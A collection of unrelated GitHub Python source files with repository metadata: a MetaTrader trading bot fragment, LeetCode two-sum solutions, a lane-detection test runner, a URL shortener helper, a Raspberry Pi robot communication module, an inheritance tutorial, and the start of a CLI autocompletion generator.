(df['candle_3'] == 'bullish')].copy()\r\n            df_bullish['points'] = df_bullish['close'] - df['prev_close']\r\n\r\n            df_bearish = df[\r\n                (df['candle_1'] == 'bearish') & (df['candle_2'] == 'bearish') & (df['candle_3'] == 'bearish')].copy()\r\n            df_bullish['points'] = df_bullish['close'] - df['prev_close']\r\n            print(df_bearish)\r\n            print(df_bullish)\r\n\r\n            last_value = str(df_bearish['time'].tail(1))[6:-37]\r\n            time_now = str(datetime.now())[:-10]\r\n            print(last_value)\r\n            print(time_now)\r\n            print(last_value == time_now)\r\n            if last_value == time_now:\r\n                self.status = 'open_bearish'\r\n                trade = SupportResistance()\r\n                trade.buy()\r\n\r\n            else:\r\n                last_value = str(df_bullish['time'].tail(1))[6:-37]\r\n                time_now = str(datetime.now())[:-10]\r\n                print(last_value)\r\n                print(time_now)\r\n                print(last_value == time_now)\r\n                if last_value == time_now:\r\n                    self.status = 'open_bullish'\r\n                    SupportResistance.sell()\r\n                    trade = SupportResistance()\r\n                    trade.buy()\r\n\r\n            time.sleep(5)\r\n        pass\r\n\r\n    def analysis(self):\r\n        lines = [] # Enter the value of support and resistance lines here\r\n        lines = sorted(lines)\r\n        lines_btn = []\r\n        iterator = 0\r\n        least_difference = lines[0] - self.price.bid\r\n\r\n        while iterator < len(lines):\r\n            least_difference_test = lines[iterator] - self.price.bid\r\n            if 0 < least_difference_test <= least_difference:\r\n                least_difference = least_difference_test\r\n            iterator += 1\r\n\r\n        for line in lines:\r\n            difference = line - self.price.bid\r\n            if difference == least_difference:\r\n                lines_btn.append(line)\r\n                break\r\n        else:\r\n            SupportResistance().closingpositions()\r\n            pass\r\n\r\n        iterator = 0\r\n        least_difference = lines[0] - self.price.bid\r\n        while iterator < len(lines):\r\n            least_difference_test = lines[iterator] - self.price.bid\r\n            if least_difference_test <= least_difference and least_difference_test < 0:\r\n                least_difference = least_difference_test\r\n            iterator += 1\r\n\r\n        for line in lines:\r\n            difference = line - self.price.bid\r\n            if difference == least_difference:\r\n                lines_btn.append(line)\r\n                break\r\n        else:\r\n            SupportResistance().closingpositions()\r\n            pass\r\n\r\n        start_dt = datetime(self.year, self.month, self.day)\r\n        end_dt = datetime.now()\r\n\r\n        bars = mt5.copy_rates_range(self.symbol, self.timeframe, start_dt, end_dt)\r\n        df = pd.DataFrame(bars)[['time', 'open', 'high', 'low', 'close']]\r\n        df['time'] = pd.to_datetime(df['time'], unit='s')\r\n        df['sma_200'] = df['open'].rolling(200).mean()\r\n\r\n        while lines_btn[0] <= self.price.bid <= lines_btn[1] and lines_btn[0] <= float(df['sma_200'].tail(1)) <= \\\r\n                lines_btn[1]:\r\n            start_dt = datetime(self.year, self.month, self.day)\r\n            end_dt = datetime.now()\r\n\r\n            bars = mt5.copy_rates_range(self.symbol, self.timeframe, start_dt, end_dt)\r\n            df = pd.DataFrame(bars)[['time', 'open', 'high', 'low', 'close']]\r\n            df['time'] = pd.to_datetime(df['time'], unit='s')\r\n            df['sma_200'] = df['open'].rolling(200).mean()\r\n            print('check 3')\r\n            continue\r\n        else:\r\n            SupportResistance().closingpositions()\r\n        pass\r\n\r\n    def buy(self):\r\n        request = {\r\n            'action': mt5.TRADE_ACTION_DEAL,\r\n            'symbol': self.symbol,\r\n            'volume': 0.1,\r\n            'type': mt5.ORDER_TYPE_BUY,\r\n            'price': mt5.symbol_info_tick(self.symbol).ask,\r\n            'deviation': 20,\r\n            'magic': 100,\r\n            'comment': 'python script open',\r\n            'type-time': mt5.ORDER_TIME_GTC,\r\n            'type_filling': mt5.ORDER_FILLING_IOC\r\n        }\r\n\r\n        mt5.order_send(request)\r\n        self.status = 'open_bullish'\r\n        SupportResistance().analysis()\r\n        pass\r\n\r\n    def sell(self):\r\n        request = {\r\n            'action': mt5.TRADE_ACTION_DEAL,\r\n            'symbol': self.symbol,\r\n            'volume': 0.1,\r\n            'type': mt5.ORDER_TYPE_SELL,\r\n            'price': mt5.symbol_info_tick(self.symbol).bid,\r\n            'deviation': 20,\r\n            'magic': 100,\r\n            'comment': 'python script open',\r\n            'type-time': mt5.ORDER_TIME_GTC,\r\n            'type_filling': mt5.ORDER_FILLING_IOC\r\n        }\r\n\r\n        mt5.order_send(request)\r\n        self.status = 'open_bullish'\r\n        SupportResistance().analysis()\r\n        pass\r\n\r\n    def closingpositions(self):\r\n        positions = mt5.positions_get()\r\n\r\n        for position in positions:\r\n            tick = mt5.symbol_info_tick(position.self.symbol)\r\n\r\n            request = {\r\n                'action': mt5.TRADE_ACTION_DEAL,\r\n                'position': position.ticket,\r\n                'symbol': position.symbol,\r\n                'volume': position.volume,\r\n                'type': mt5.ORDER_TYPE_SELL if position.type == 0 else mt5.ORDER_TYPE_BUY,\r\n                'price': tick.ask if position.type == 1 else tick.bid,\r\n                'deviation': 20,\r\n                'magic': 100,\r\n                'comment': 'python script open',\r\n                'type-time': mt5.ORDER_TIME_GTC,\r\n                'type_filling': mt5.ORDER_FILLING_IOC\r\n            }\r\n            mt5.order_send(request)\r\n\r\n        self.status = None\r\n        print('check 4')\r\n        SupportResistance().checkgraph()\r\n        pass\r\n\r\n\r\ntrade = SupportResistance()\r\ntrade.checkgraph()\r\n","repo_name":"RoyBrightAsiku/Trading-Bot-MetaTrader","sub_path":"Trading101/new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":8032,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"2101859197","text":"\"\"\"最简单的想法：暴力求解\"\"\"\r\n\r\n\r\nclass Solution:\r\n\tdef twoSum(self, nums, target):\r\n\t\t\"\"\"\r\n\t\t:type nums: List[int]\r\n\t\t:type target: int\r\n\t\t:rtype: List[int]\r\n\t\t\"\"\"\r\n\t\tfor i in range(len(nums)):\r\n\t\t\tfor j in range(i + 1, len(nums)):\r\n\t\t\t\tif nums[i] + nums[j] == target:\r\n\t\t\t\t\treturn [i, j]\r\n\r\n\r\n\"\"\"其实也是一个查找问题，\r\n给其中一个数字，\r\n然后查找另外一个数字是不是也在数组中，\r\n由于字典的查找是比较快，\r\n查找问题优先使用上字典\"\"\"\r\n\r\n\r\nclass Solution:\r\n\tdef twoSum(self, nums, target):\r\n\t\t\"\"\"\r\n        :type nums: List[int]\r\n        :type target: int\r\n        :rtype: List[int]\r\n        \"\"\"\r\n\t\tnum = {}\r\n\t\tfor i in range(len(nums)):\r\n\t\t\tnum[nums[i]] = i\r\n\t\t# 如果nums中有相同的数，字典中对应的键值对是相同值的最后面的索引\r\n\t\tfor i in range(len(nums)):\r\n\t\t\tif target - nums[i] in num:\r\n\t\t\t\tif num[target - nums[i]] != i:\r\n\t\t\t\t\treturn [i, num[target - nums[i]]]\r\n\r\n\r\n\"\"\"现在是我们自己定义了一个字典，\r\n然后将给定的列表存进字典中，\r\npython提供了内置函数enumerate() ，\r\n用于将一个可遍历的数据对象(如列表，元组或字符串)组合为一个索引序列，\r\n同时列出数据和数据下标，一般用在 for 循环当中\"\"\"\r\n\r\n\r\nclass Solution:\r\n\tdef twoSum(self, nums, target):\r\n\t\t\"\"\"\r\n        :type nums: List[int]\r\n        :type target: int\r\n        :rtype: List[int]\r\n        \"\"\"\r\n\t\tnum = {}\r\n\t\tfor i, element in enumerate(nums):\r\n\t\t\tif target - element in num:\r\n\t\t\t\treturn [num[target - element], i]\r\n\t\t\tnum[element] = i\r\n","repo_name":"GrayPaul/leetcode","sub_path":"1. Two Sum.py","file_name":"1. Two Sum.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31674748076","text":"import os\nimport fnmatch\nimport numpy as np\nimport cv2\n\npath = \"/home/ycw/anaconda2/fpn-lane-detection/tools/Folder\"\nfile_list = list()\n\nfor root, dirnames, filenames in os.walk(path):\n\tfor dirname in fnmatch.filter(dirnames, '*image'):\n\t#for dirname in fnmatch.filter(dirnames, '*.MP4'):\n\t\tfile_list.append(os.path.join(dirname))\n\t\t\n\t\t\t\t\t\nprint (file_list)\n\ncommand_for_testing = \"python test_lanenet.py --is_batch True --batch_size 2 --save_dir data/tusimple_test_image/ret --weights_path /home/ycw/anaconda2/fpn-lane-detection/model/tusimple_lanenet/culane_lanenet_vgg_2018-11-04-00-51-03.ckpt-44000 --image_path /home/ycw/anaconda2/fpn-lane-detection/tools/Folder/\"\nret_path = \"/home/ycw/anaconda2/fpn-lane-detection/tools/data/tusimple_test_image/\"\n\npath_to_tools = \"/home/ycw/anaconda2/fpn-lane-detection/tools/\"\npath_to_tusimple_test_image = \"/home/ycw/anaconda2/fpn-lane-detection/tools/data/tusimple_test_image/\"\n\nfor i in range(len(file_list)):\n\tcommand_input = command_for_testing + file_list[i]\n\tos.system(command_input)\n\tos.chdir(path_to_tusimple_test_image)\n\tos.rename(\"ret\", file_list[i])\n\tos.chdir(path_to_tools)\n\n#height = 720\n#width = 1280\n\n#count = 0\n#for root, dirnames, filenames in os.walk(path_to_tusimple_test_image):\n#\tfor filename in fnmatch.filter(filenames, '*.png'):\n#\t\timg = cv2.imread(os.path.join(root, filename), 0)\n#\n#\t\tlabel_list = [0, 255]\n#\t\toutput = np.zeros(shape=img.shape, dtype=np.uint8)\n#\t\t\n#\t\tfor i in range(1, len(label_list)):\n#\t\t\toutput[img == i] = label_list[i]\n#\t\t\n#\t\tcv2.imwrite(os.path.join(root, filename), output)\n#\t\tcount+=1\n#\t\t\n#\tprint('Processed image number: ' + str(count))\n#\n#\n#os.system('python calculate_accuracy.py')\n\n\n\n","repo_name":"q36101/lane_detection","sub_path":"tools/auto_test.py","file_name":"auto_test.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22874106451","text":"from random import choice\nfrom string import ascii_letters, digits\n\nfrom .models import URL_map\n\n\ndef get_unique_short_id():\n    letters_digits = ascii_letters + digits\n    random_string = ''.join(\n        choice(letters_digits) for _ in range(6)\n    )\n    if URL_map.query.filter_by(short=random_string).first():\n        random_string = get_unique_short_id()\n    return random_string\n","repo_name":"photometer/yacut","sub_path":"yacut/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"44509693026","text":"from src.communicator.Android_com import Android\nfrom src.communicator.Arduino_com import Arduino\nfrom src.communicator.Algorithm_com import Algorithm\nfrom src.config import STOPPING_IMAGE, IMAGE_WIDTH, IMAGE_HEIGHT, IMAGE_FORMAT\nfrom src.protocols import *\n\nfrom PIL import Image\nimport numpy as np\nimport imagezmq\nfrom picamera import PiCamera\nfrom picamera.array import PiRGBArray\n\n\nimport collections\nfrom multiprocessing import Process, Value\nfrom multiprocessing.managers import BaseManager\n\nimg_count = 0\nclass DequeProxy(object):\n    def __init__(self, *args):\n        self.deque = collections.deque(*args)\n    def __len__(self):\n        return self.deque.__len__()\n    def append(self, x):\n        self.deque.append(x)\n    def appendleft(self, x):\n        self.deque.appendleft(x)\n    def popleft(self):\n        return self.deque.popleft()\n    def empty(self):\n        if self.deque:\n            return False\n        else:\n            return True\n\nclass DequeManager(BaseManager):\n    pass\n    \n\n        \nDequeManager.register('DequeProxy', DequeProxy,\n                      exposed=['__len__', 'append', 'appendleft', 'popleft', 'empty'])   \n\nclass MultiProcessCommunicator:\n    \"\"\"\n    This class will carry out multi-processing communication process between Algorithm, Android and Arduino.\n    \"\"\"\n    def __init__(self, image_processing_server_url: str=None):\n        \"\"\"\n        Start the multiprocessing process and set up all the relevant variables\n\n        Upon starting, RPi will connect to individual devices in the following order\n        - Algorithm\n        - Arduino\n        - Android\n\n        The multiprocessing queue will also be instantiated\n        \"\"\"\n        print('Starting Multiprocessing Communication')\n\n        self.algorithm = Algorithm_communicator()  # handles connection to Algorithm\n        self.arduino = Arduino_communicator()  # handles connection to Arduino\n        self.android = Android_communicator()  # handles connection to Android\n        \n        self.manager = DequeManager()\n        self.manager.start()\n\n        # messages from Arduino, Algorithm and Android are placed in this queue before being read\n        self.message_deque = self.manager.DequeProxy()\n        self.to_android_message_deque = self.manager.DequeProxy()\n\n        self.read_arduino_process = Process(target=self._read_arduino)\n        self.read_algorithm_process = Process(target=self._read_algorithm)\n        self.read_android_process = Process(target=self._read_android)\n        \n        self.write_process = Process(target=self._write_target)\n        self.write_android_process = Process(target=self._write_android)\n        \n        \n        # the current action / status of the robot\n        self.status = Status.IDLE  # robot starts off being idle\n\n        self.dropped_connection = Value('i',0) # 0 - arduino, 1 - algorithm\n\n        # for image recognition\n        self.image_process = None\n        self.image_deque = None\n        \n        if image_processing_server_url is not None:\n            print('------Start Exploration with image recognition-----')\n            self.image_process = Process(target=self._process_pic)\n            # pictures taken using the PiCamera are placed in this queue\n            self.image_deque = self.manager.DequeProxy()\n\n            self.image_processing_server_url = image_processing_server_url\n            self.image_count = Value('i',0)\n            print(\"self.image_deque:\", self.image_deque)\n\n\n        \n        \n    def start(self):        \n        try:\n            self.algorithm.connect_arduino()\n            self.arduino.connect_arduino()\n            self.android.connect_arduino()\n\n            print('Connected to Algorithm, Arduino and Android')\n\n            self.read_algorithm_process.start_algo()\n            self.read_arduino_process.start_arduino()\n            self.read_android_process.start_android()\n            self.write_process.start()\n            self.write_android_process.start()\n\n            if self.image_process is not None:\n                self.image_process.start()\n                print('All processes have started : read-arduino, read-algorithm, read-android, write-android, image_processing')\n            else:\n                print('All processes have started : read-arduino, read-algorithm, read-android, write-android')\n\n            print('Multiprocess communication session started')\n            \n        except Exception as error:\n            raise error\n\n        self._allow_reconnection()\n\n    def end(self):\n\n        self.algorithm.disconnect_all_algo()\n        self.android.disconnect_all()\n        print('Multiprocess communication has just stopped')\n\n        \n\n    def _allow_reconnection(self):\n        print('RPi can reconnect now')\n\n        while True:\n            try:\n                if not self.read_algorithm_process.is_alive():\n                    self._reconnect_algorithm()\n\n                if not self.read_arduino_process.is_alive():\n                    self._reconnect_arduino()\n                    \n                if not self.read_android_process.is_alive():\n                    self._reconnect_android()\n                    \n                if not self.write_process.is_alive():\n                    if self.dropped_connection.value == 0:\n                        self._reconnect_arduino()\n                    elif self.dropped_connection.value == 1:\n                        self._reconnect_algorithm()\n                        \n                if not self.write_android_process.is_alive():\n                    self._reconnect_android()\n                \n                if self.image_process is not None and not self.image_process.is_alive():\n                   self.image_process.terminate()\n                    \n            except Exception as error:\n                print(\"Error during reconnection: \",error)\n                raise error\n\n    def _reconnect_algorithm(self):\n        self.algorithm.disconnect()\n\n        self.read_algorithm_process.terminate()\n        self.write_process.terminate()\n        self.write_android_process.terminate()\n\n        self.algorithm.connect()\n\n        self.read_algorithm_process = Process(target=self._read_algorithm)\n        self.read_algorithm_process.start()\n\n        self.write_process = Process(target=self._write_target)\n        self.write_process.start()\n\n        self.write_android_process = Process(target=self._write_android)\n        self.write_android_process.start()\n\n        print('Successfully reconnected to Algorithm')\n\n    def _reconnect_arduino(self):\n        self.arduino.disconnect()\n        \n        self.read_arduino_process.terminate()\n        self.write_process.terminate()\n        self.write_android_process.terminate()\n\n        self.arduino.connect()\n\n        self.read_arduino_process = Process(target=self._read_arduino)\n        self.read_arduino_process.start()\n\n        self.write_process = Process(target=self._write_target)\n        self.write_process.start()\n        \n        self.write_android_process = Process(target=self._write_android)\n        self.write_android_process.start()\n\n        print('Successfully reconnected to Arduino')\n\n\n    def _reconnect_android(self):\n        self.android.disconnect()\n        \n        self.read_android_process.terminate()\n        self.write_process.terminate()\n        self.write_android_process.terminate()\n        \n        self.android.connect()\n        \n        self.read_android_process = Process(target=self._read_android)\n        self.read_android_process.start()\n\n        self.write_process = Process(target=self._write_target)\n        self.write_process.start()\n        \n        self.write_android_process = Process(target=self._write_android)\n        self.write_android_process.start()\n\n        print('Successfully reconnected to Android')\n        \n    def _read_arduino(self):\n        while True:\n            try:\n                messages = self.arduino.read()\n                \n                if messages is None:\n                    continue\n                message_list = messages.splitlines()\n                \n                for message in message_list:\n                \n                    if len(message) <= 0:\n                        continue    \n                        \n                    self.message_deque.append(self._format_for(\n                        ALGORITHM_HEADER, \n                        message + NEWLINE\n                    ))\n                    \n            except Exception as error:\n                print('Process read_arduino failed: ' + str(error))\n                break    \n\n    def _read_algorithm(self):\n        while True:\n            try:\n                messages = self.algorithm.read()\n                \n                if messages is None:\n                    continue\n                \n                message_list = messages.splitlines()\n                \n                for message in message_list:\n                \n                    if len(message) <= 0:\n                        continue\n                    \n                    # image recognition\n                    elif message[0] == Algorithm-RPi.TAKE_PICTURE:\n\n                        if self.image_count.value >= 5:\n                            self.message_deque.append(self._format_for(\n                            ALGORITHM_HEADER, \n                            RPi-Algorithm.DONE_IMG_REC + NEWLINE\n                        ))\n                        \n                        else:\n                            \n                            message = message[2:-1]  # to remove 'C[' and ']'\n                            self.to_android_message_deque.append(\n                                RPi-Android.STATUS_TAKING_PICTURE + NEWLINE\n                            )\n                            image = self._take_pic()\n                            print('Picture taken')\n                            self.message_deque.append(self._format_for(\n                                ALGORITHM_HEADER, \n                                RPi-Algorithm.DONE_TAKING_PICTURE + NEWLINE\n                            ))\n                            self.image_deque.append([image,message])\n\n                    elif message == Algorithm-RPi.EXPLORATION_COMPLETE:\n                        # to let image processing server end all processing and display all images\n                        self.status = Status.IDLE\n                        \n                        # to use pillow instead of cv2\n                        pil_img = Image.open(STOPPING_IMAGE).convert('RGB')\n                        cv_img = np.array(pil_img)\n                        cv_img = cv_img[:,:,::-1].copy()\n                        self.image_deque.append([cv_img,\"-1,-1|-1,-1|-1,-1\"])\n\n                    elif message[0] == Algorithm-Android.MDF_STRING:\n                        self.to_android_message_deque.append( \n                            message[1:] + NEWLINE\n                        )\n                    \n                    else:  # (message[0]=='W' or message in ['D|', 'A|', 'Z|']):\n                        self._forward_message_algorithm_to_android(message)\n                        self.message_deque.append(self._format_for(\n                            ARDUINO_HEADER, \n                            message + NEWLINE\n                        ))\n                \n            except Exception as error:\n                print('Process read_algorithm failed: ' + str(error))\n                break\n\n    def _forward_message_algorithm_to_android(self, message):\n        messages_for_android = message.split(MESSAGE_SEPARATOR)\n\n        for message_for_android in messages_for_android:\n            \n            if len(message_for_android) <= 0:\n                continue\n\n            elif message_for_android[0] == Algorithm-Android.CALIBRATING_CORNER:\n                self.to_android_message_deque.append(\n                    RPi-Android.STATUS_CALIBRATING_CORNER + NEWLINE\n                )\n\n            elif message_for_android[0] == Algorithm-Android.SENSE_ALL:\n                self.to_android_message_deque.append(\n                    RPi-Android.STATUS_SENSE_ALL + NEWLINE\n                )\n\n            elif message_for_android[0] == Algorithm-Android.ALIGN_RIGHT:\n                self.to_android_message_deque.append(\n                    RPi-Android.STATUS_ALIGN_RIGHT + NEWLINE\n                )\n\n            elif message_for_android[0] == Algorithm-Android.ALIGN_FRONT:\n                self.to_android_message_deque.append(\n                    RPi-Android.STATUS_ALIGN_FRONT + NEWLINE\n                )\n\n            elif message_for_android[0] == Algorithm-Android.MOVE_FORWARD:\n                if self.status == Status.EXPLORING:\n                    self.to_android_message_deque.append(\n                        RPi-Android.STATUS_EXPLORING + NEWLINE\n                    )\n\n            elif message_for_android[0] == Algorithm-Android.TURN_LEFT:\n                self.to_android_message_deque.append(\n                    RPi-Android.TURN_LEFT + NEWLINE\n                )\n                \n                self.to_android_message_deque.append(\n                   RPi-Android.STATUS_TURNING_LEFT + NEWLINE\n                )\n            \n            elif message_for_android[0] == Algorithm-Android.TURN_RIGHT:\n                self.to_android_message_deque.append(\n                    RPi-Android.TURN_RIGHT + NEWLINE\n                )\n                \n                self.to_android_message_deque.append(\n                   RPi-Android.STATUS_TURNING_RIGHT + NEWLINE\n                )\n            \n\n\n                forward_steps_no = int(message_for_android.decode()[1:])\n\n                print('Move forward by this number of steps:', forward_steps_no)\n                for _ in range(forward_steps_no):\n                    self.to_android_message_deque.append(\n                        RPi-Android.MOVE_UP + NEWLINE\n                    )           \n                    \n                    self.to_android_message_deque.append(\n                        RPi-Android.STATUS_MOVING_FORWARD + NEWLINE\n                    )        \n\n    def _read_android(self):\n        while True:\n            try:\n                messages = self.android.read()\n                \n                if messages is None:\n                    continue\n                  \n                message_list = messages.splitlines()\n                \n                for message in message_list:\n                    if len(message) <= 0:\n                        continue\n\n                    elif message in (Android-Arduino.ALL_MESSAGES + [Android-RPi.CALIBRATE_SENSOR]):\n                        if message == Android-RPi.CALIBRATE_SENSOR:\n                            self.message_deque.append(self._format_for(\n                                ARDUINO_HEADER, \n                                RPi-Arduino.CALIBRATE_SENSOR + NEWLINE\n                            ))\n                        \n                        else:\n                            self.message_deque.append(self._format_for(\n                                ARDUINO_HEADER, message + NEWLINE\n                            ))\n                        \n                    else:\n                        if message == Android-Algorithm.START_SHORTEST_PATH:\n                            self.status = Status.SHORTEST_PATH\n                            self.message_deque.append(self._format_for(\n                                ARDUINO_HEADER,\n                                RPi-Arduino.START_SHORTEST_PATH + NEWLINE\n                            ))\n\n                        elif message == Android-Algorithm.START_EXPLORATION:\n                            self.status = Status.EXPLORING\n                            time.sleep(0.5)\n                            self.message_deque.append(self._format_for(\n                                ARDUINO_HEADER, \n                                RPi-Arduino.START_EXPLORATION + NEWLINE\n                            ))\n\n                        self.message_deque.append(self._format_for(\n                            ALGORITHM_HEADER, \n                            message + NEWLINE\n                        ))\n\t\t\t\n                    \n            except Exception as error:\n                print('Process read_android failed: ' + str(error))\n                break\n\n    def _write_target(self):\n        while True:\n            target = None\n            try:\n                if len(self.message_deque)>0:\n                    message = self.message_deque.popleft()\n                    target, payload = message['target'], message['payload']\n\n                    if target == ARDUINO_HEADER:\n                        self.arduino.write(payload)\n                        \n                    elif target == ALGORITHM_HEADER:\n                        self.algorithm.write(payload)\n                        \n                    else:\n                        print(\"Invalid header\", target)\n                \n            except Exception as error:\n                print('Process write_target failed: ' + str(error))\n\n                if target == ARDUINO_HEADER:\n                    self.dropped_connection.value = 0\n\n                elif target == ALGORITHM_HEADER:\n                    self.dropped_connection.value = 1\n                    \n                self.message_deque.appendleft(message)\n                \n                break\n                \n    def _write_android(self):\n        while True:\n            try:\n                if len(self.to_android_message_deque)>0:\n                    message = self.to_android_message_deque.popleft()\n                    \n                    self.android.write(message)\n                \n            except Exception as error:\n                print('Process write_android failed: ' + str(error))\n                self.to_android_message_deque.appendleft(message)\n                break\n\t\t\t\t\n    def _take_pic(self):\n        global img_count\n        try:\n\n            # initialise pi camera\n            camera = PiCamera(resolution=(IMAGE_WIDTH, IMAGE_HEIGHT))  # '640x360'\n            camera.awb_mode = 'horizon'\n\n            # allow the camera to warmup\n            time.sleep(3)\n            rawCapture = PiRGBArray(camera)\n            \n            # grab an image from the camera\n            camera.capture(rawCapture, format=IMAGE_FORMAT)\n            image = rawCapture.array\n            pil_img = np.asarray(image)\n            pil_img = Image.fromarray(pil_img[:,:,::-1])\n            pil_img.save('./frame_{}.jpg'.format(img_count))\n            img_count += 1\n\n            camera.close()\n        \n        except Exception as error:\n            print('Picture taking process failed: ' + str(error))\n        \n        return image\n    \n    def _process_pic(self):\n        print(\"----------------------- Image Processing Starts -------------------\")\n        print(self.image_processing_server_url)\n        print(type(self.image_processing_server_url))\n        image_sender = imagezmq.ImageSender(\n            connect_to=self.image_processing_server_url)\n        print(type(self.image_deque))\n        image_id_list = []\n        while True:\n            try:\n                if not self.image_deque.empty():\n                    \n                    message_for_image =  self.image_deque.popleft()\n                    # format: 'x,y|x,y|x,y'\n                    obstacle_coordinates = message_for_image[1]\n\n                    #print(\"-----------Prepareing to send image---------\")\n                    reply = image_sender.send_image(\n                        'image message from RPi',\n                        message_for_image[0]\n                    )\n                    \n                    reply = reply.decode('utf-8')\n                    print(\"Reply:\" + reply)\n                    \n\n                    if reply == 'End':\n                        break  # stop sending images\n                    \n                    # example replies\n                    # \"1|2|3\" 3 symbols in order from left to right\n                    # \"1|-1|3\" 2 symbols, 1 on the left, 1 on the right\n                    # \"1\" 1 symbol either on the left, middle or right\n                    else:\n                        detections = reply.split(MESSAGE_SEPARATOR) #from server\n                        coordinate_list_obstacle = obstacle_coordinates.split(MESSAGE_SEPARATOR) #from algo\n\n                        for detection, coordinates in zip(detections, coordinate_list_obstacle):\n                            print(\"Coordinate:\",coordinates)\n                            print(\"Detection:\",detection)\n\n                            if detection == '-1':\n                                continue  # if there isn't any  symbol detected, mapping of symbol id will  be skipped\n                            elif coordinates == '-1,-1':\n                                continue  # if there isn't any obstacle detected, mapping of id symbol will skipped\n\n                            else:\n                                id_string_to_android = '{\"image\":[' + coordinates + \\\n                                ',' + detection + ']}'\n                                print(id_string_to_android)\n                                \n                                if detection not in image_id_list:\n                                    self.image_count.value += 1\n                                    image_id_list.append(detection)\n                                \n                                self.to_android_message_deque.append(\n                                    id_string_to_android + NEWLINE\n                                )\n\n\n            except Exception as error:\n                print('Image processing process has failed: ' + str(error))\n\n    def _format_for(self, target, payload):\n        return {\n            'target': target,\n            'payload': payload,\n        }\n","repo_name":"raghavm1/CZ3004-MDP","sub_path":"RPi/src/communicator/MultiProcessCommunication.py","file_name":"MultiProcessCommunication.py","file_ext":"py","file_size_in_byte":21719,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"74564912","text":"'''\nSingle inheritance\n    - When child class inherits a single parents class (base->derived)\n    - The above example is single inheritance\n'''\n\n#Base class\nclass Employee:\n    company =\"Google\"\n    def showDetails(self):\n        print(f\"This is an employee of {self.company}\")\n        \n    def showDetails2(self):\n        print(f\"2. This is an employee of {self.company}\")\n\n\n#Derived class child of Employee\nclass Programmer(Employee):\n    language=\"Python\"\n    company = \"Youtube\"\n    def getLang(self):\n        print(f\"The language is {self.language}\")\n\n    def showDetails2(self):\n        print(\"This is programmer\")\n\nemployee = Employee()\nemployee.showDetails()\nprogrammer = Programmer()\nprogrammer.showDetails() # method inherited from employee \n\nprint(\"===========Override=========\")\n\n# override\nemployee.showDetails2() #employee class\nprogrammer.showDetails2() #programmer class ko override bhako\n\nprint(employee.company)\nprint(programmer.company)","repo_name":"deepson1996/python-tutorial","sub_path":"chapter11/02_single_inheritance.py","file_name":"02_single_inheritance.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74194901861","text":"# --- 数据读取 --- #\nprint('- [START] autoCompleteMode -')\n\n# 解析 Json 数据 -> 自动补全信息\nimport json\n\n# Debug Mode\n# with open('autoCompletion.json') as fileData:\n#     data = json.load(fileData)\n#     print('- [OK] The Cli LineNoise Messages is Read')\n\n# RunTime\nwith open('../Config/CliConfig/autoCompletion.json') as fileData:\n    data = json.load(fileData)\n    print('- [OK] The Cli LineNoise Messages is Read')\n\nKeyWordList = data[\"KeyWord\"]\nHints = data['hints']\nCommand = Hints['command']\nFont = Hints['font']\n\n# 删除变量,释放内存\ndel fileData, data, Hints\n\n'''\n# Useful Variables\n    - KeyWordList -> 关键字信息\n    - Command -> 自动补全信息\n    - Font -> 字体数据\n'''\n\n\n# print(\"keyWordList:\\n\" + str(keyWordList))\n# print(\"command:\\n\" + str(command))\n# print(\"font:\\n\" + str(font))\n\n\n# --- 数据解析 --- #\n\ndef keyword_auto(keyWordList) -> list:\n    # KeyWord 数据生成\n\n    list.sort(keyWordList)\n    keyWordAutoStr = []\n    # 生成code模板\n    '''\n    # Code Template Str ->\n        -> autoStrTemplate_1 + strSupplement_1\n        -> strSupplement_2 + autoStrTemplate_2 + strSupplement_1\n    # format 字符串\n        autoStrTemplate_1.format('[ KeyWord ]') -> ret Need Str\n    '''\n\n    autoStrTemplate_1 = 'if (buf[0] == \\'{}\\') '\n    autoStrTemplate_2 = ' else if (buf[0] == \\'{}\\') '\n    strSupplement_1 = '{\\n'\n    strSupplement_2 = '}'\n    autoStrTemplate_3 = '    linenoiseAddCompletion(lc, \"{}\");\\n'\n\n    # 关键字排序\n    '''\n    # 根据关键字首字母进行分类排序\n        -> 'a':['add','app','append']\n        -> 'i':['is','import','if']\n    # 产出变量\n        -> keyWordMap : 分类排序后结果\n        -> keyWordMap.keys() : 首字母列表\n    '''\n    keyWordMap = {}\n    indexStr = keyWordList[0][0]\n    indexList = []\n    for i in range(len(keyWordList) + 1):\n        if i == len(keyWordList):\n            keyWordMap[indexStr] = indexList.copy()\n            indexList.clear()\n            indexStr = keyWordList[i - 1][0]\n            break\n        if indexStr != keyWordList[i][0]:\n            keyWordMap[indexStr] = indexList.copy()\n            indexList.clear()\n            indexStr = keyWordList[i][0]\n            indexList.append(keyWordList[i])\n        else:\n            indexList.append(keyWordList[i])\n    del keyWordList, indexStr, indexList\n    keyWordMapKeys = list(keyWordMap.keys())\n\n    # 产出需求字符串\n    index = 0\n    keyWordAutoStr.append(\n        autoStrTemplate_1.format(keyWordMapKeys[index]) +\n        strSupplement_1\n    )\n\n    for value in list(keyWordMap.values()):\n        if index != 0:\n            keyWordAutoStr.append(\n                strSupplement_2 +\n                autoStrTemplate_2.format(keyWordMapKeys[index]) +\n                strSupplement_1\n            )\n        for keyword in value:\n            keyWordAutoStr.append(\n                autoStrTemplate_3.format(keyword)\n            )\n        index += 1\n\n    keyWordAutoStr.append('}\\n')\n\n    print('- [OK] The Keyword Auto-Complete information is Generated')\n\n    return keyWordAutoStr\n\n\ndef hint_auto(command, font) -> list:\n    \"\"\"\n    if (!strcasecmp(buf, \"Tide\")) {\n        // 命令字体颜色\n        *color = 35;\n        // 命令字体样式\n        *bold = 0;\n        // 提示内容\n        return \" <Name> = <Value>\";\n    } else if (!strcasecmp(buf, \"if\")) {\n        // 命令字体颜色\n        *color = 35;\n        // 命令字体样式\n        *bold = 0;\n        // 提示内容\n        return \" (Expression) {Statement}\";\n    